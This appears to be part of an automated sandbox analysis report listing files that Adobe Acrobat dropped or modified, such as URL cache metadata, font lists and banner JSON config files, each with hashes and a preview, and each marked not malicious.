>..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklDUI0KVltfllXlE/HT8kGzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKfI7eT83NMa8RdWBwRd
MD5:	470A33E2A1337E2EEEEFBA170BDB026F
SHA1:	7F0024AAFB528525F1A2CE873EB986865FCD8430
SHA-256:	B12F12CACD4FB7D9D086F5E84C3BA9A3F1863FA2004FA2249F7887F7A3F4C859
SHA-512:	27562A1661D2928CB729B1E20F554C4916E8C9C3EDAF7ED56B6E1B34D6ECFE5CF773E45FFB8757765C2ACEBE59B43B2B8467421F73D31089E9CDBCCE9DEE27E2
Malicious:	false
Preview:	p...... .........qI..c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kK2/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:siDnLNkPlE99SNxAhUe/3
MD5:	6CFC2305B494A176881383F15725EA92
SHA1:	B53A055C02A6FEEDD38A62F8DDB2512039AEE6F5
SHA-256:	C42C312381829F2C43D0D4FFCB29D371777B5C2807B0F791870673572DB3AFDD
SHA-512:	7C544AD799C6D1BD68AE3BFB46084846673A2033FE591CFD0A7C49A2D14D4C8A3F10DD4EE63040572437FF2F53147199A71C1104979EEDB83A645BA8D25CD387
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351360010759077
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJM3g98kUwPeUkwRe9:YvXKXqLVP/YpW7KGMbLUkee9
MD5:	B4BAAF5C079B0FC5AA725D2773A671A2
SHA1:	7824391BFA160DED9379B8C78CF77B326A7BDDC4
SHA-256:	C5405A26692E6BD7673F0AB4DB9F53B280FAED10E08E63B04E325484E2D14835
SHA-512:	0E8B4E0FF07E51A4494DBE044C7B36E37169E119664D67199FC4C9BEA949F8D242A22A5766B99DAAEAE07E80ADCD11D3089A00EF56EBC6174BD52BDED985280E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.287700120869253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfBoTfXpnrPeUkwRe9:YvXKXqLVP/YpW7KGWTfXcUkee9
MD5:	B78A8EE442101BC8A191EB0CBB901C87
SHA1:	0722CD3A8C0DF7917852F56271D56B0FD24F51E0
SHA-256:	43BCB07419FFF8D23528BCF8B82DF793933615166672BDA59BC8992F179BDEAC
SHA-512:	CA57FBBB844480CCB7B16E958F4BCBD031486EB0426D58A15FE5936CC0D5AD100814AC24EF621B42116B9277D707A9293CBF6B66FA28E8759DCA90EE5506FADD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2667795850742145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfBD2G6UpnrPeUkwRe9:YvXKXqLVP/YpW7KGR22cUkee9
MD5:	18D73CCBE2EBCD6E4AB0A33F2DD748BE
SHA1:	823912B8D6FBE5BE32BDDBF4DB57240846C068FB
SHA-256:	E5F6D105599AFC327ECAFBBD3C8912D5333DC3AA1990580F77723D587895BF4C
SHA-512:	9E3062D806547FB8F35FE62FF226C2E5398342429B4430E3E9D53905D655B66F766A87BDE602B06A146DB5B4C0609D5D6A1E95E1BA3ACABEBFD02C0F6910F1F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329831717340798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfPmwrPeUkwRe9:YvXKXqLVP/YpW7KGH56Ukee9
MD5:	A8DE3D52C98D4DCD9F4D9C03B920EF59
SHA1:	2FE6E71DAF6AD2B74556AC5F01A27A9745F75A9D
SHA-256:	A31A59F2075574A7DC0F21767AE7A7955336FF9EA7BF29CE04250864CFA0900F
SHA-512:	3E68B4F6D0878A0AAD4EB864357EB1622CA36586369547AB622DBF3040B930B77D5B7B2C627AE5F6D4E581249D5DBDC742DBDDEC7C2C9D271DAC757F188E76E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685782073970868
Encrypted:	false
SSDEEP:	24:Yv6XqNMiHpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:Yv1NzHhgy6SAFv5Ah8cv/W
MD5:	0F1B795C7DBBAF0B6E63C3AAFC14158A
SHA1:	34266777278DC68D743E9AB3EAD9034D48346C94
SHA-256:	754E79E4DA38C9A646ACB029E8C36290C43753BCD274E7F9E72797B5930AE7B2
SHA-512:	A870B43A1999F911223CEAB3F5E8D87C521253F4F5804605A22C75EA5491D07273DC16AEE50797A6621037B63B5BD525736CD0E1BB37BE603C259085EC5A70B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271162905939868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJf8dPeUkwRe9:YvXKXqLVP/YpW7KGU8Ukee9
MD5:	98818443A05839B7F89545EE55E0FFA2
SHA1:	49CC6315FF55CA7E235A0111961460DDE3AD9694
SHA-256:	B4A4EAE890A04572B13BB921D8E47A2743AF1463E7E41C8542ADEBBDC0B8A47A
SHA-512:	88E657791F250F0B5BE320DBD7CA3925865AA55A42A8399CAC325AA05CB7F22B3F2C9C99FF1655FAF1AE382490BFD33F833463EBEF7B37E0C9E1003437404F95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.271897791195347
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfQ1rPeUkwRe9:YvXKXqLVP/YpW7KGY16Ukee9
MD5:	2E95D678DCF9F8C8E9C902C2A523ACCC
SHA1:	A11DDC141522CC82BD98AAF6F91438EEEAF40294
SHA-256:	2D06C81580626625B0086042785FA9F01D81EED36EC3F138D60A8E65ECEF13CF
SHA-512:	6007D05479C9B822A4FB8E95CE883F4859E6AF397B1073BC1F7E1447710E96448CFBCA69E8D21E792D0D2FC5DBD1E20A9C77F211D1A1E039A93FFBD252E97EE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290844065749933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfFldPeUkwRe9:YvXKXqLVP/YpW7KGz8Ukee9
MD5:	BF68479938E676FEC7CE84F072C088D3
SHA1:	3C202C97FA1A738ECD7DBF5BBD0C9E825A0051A7
SHA-256:	DFC1652E4A9479D98CDA1A574E1511BDF7B5E8F254F32F7AC979A025E5A5EE91
SHA-512:	44ED4CA6673171FE5DE3DC696238D2D973C7AC225A19A6EA9A6613CBE169096C0DB47F273AFEFC6AFC192906847C5FAABFE878EA2542BC51D244C4BDF49C1815
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.298386510325468
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfzdPeUkwRe9:YvXKXqLVP/YpW7KGb8Ukee9
MD5:	EF732D910DF90982D97A6A808A567A31
SHA1:	744A68C1F0FE5FEE33D54F564F8221FB0A9108F8
SHA-256:	A1AB4315B14611B13668C8E81C6DB7CB1A3B587CA09C5B738374FBE0BBBECBFE
SHA-512:	C7AB6E31CA327DC21DA7F38DD98D8595B9C16EA059F9B3BC3D9D8C9FFF05DB7E93DB07BF87F9B5A5C2F29BAE642404DBBB20D0846F582FC5EFC54F1C9CCBAA42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278594742152585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfYdPeUkwRe9:YvXKXqLVP/YpW7KGg8Ukee9
MD5:	EED8DA9FB1FB70CC316813CD82885791
SHA1:	AD257BF1BE99E5AA073D4447A87C45A0A1BDCD0B
SHA-256:	AC5E5F893F350FA56AC438B8F0792277397733B5ACC504DB3D6DA76BADA0B8DB
SHA-512:	24A1434FDCC0EC4FF3153E0CF6F19E650CED31BA79E771B2209AFB0F5959455F6620C774A4B3995AEA7D1229CE166E7D072326B270EEF9ABA3C158A94C324538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.265117102834001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJf+dPeUkwRe9:YvXKXqLVP/YpW7KG28Ukee9
MD5:	1C171018278CF19C998DF4113ACCEB50
SHA1:	E96C2224DD30C184F9DD330B29C9BD3C105AF27A
SHA-256:	8BF5AD57055858DFBFD1FF022C14A754A3614A3127CC46D520A7C772C7A4A511
SHA-512:	C5410BBE6721BB109793F017D88C0032CA3F7C9CA16B60289844120BA1DAE03A623D0A8AB202A6B9F72161569D822A6DEC0320087D0FFBD3E5718F0F1BA16D5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262288955000657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqLVEkCkyn7+FIbRI6XVW7+0YkDoAvJfbPtdPeUkwRe9:YvXKXqLVP/YpW7KGDV8Ukee9
MD5:	F4A0DE9EE04CBC7B71BB32A6A7526609
SHA1:	F39BC2FF38D0C84A3AF9772D91F9ED5307396101
SHA-256:	960D2460ADEFED7000A5DCB6354352AFB682B558195BE2F29AD32D595277F4E1
SHA-512:	01439645D59BB7A47E3DDA2B90567E1E9811F95B8C6C6A4CC9BCD4CFD1E765A77954BA5D76F6EAF580CB37474C30597B3A06147B23AF9BDC02D2D4A93C074CCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3fc49089-dbbd-4e71-abe5-3da8e69e554c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736739152841,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
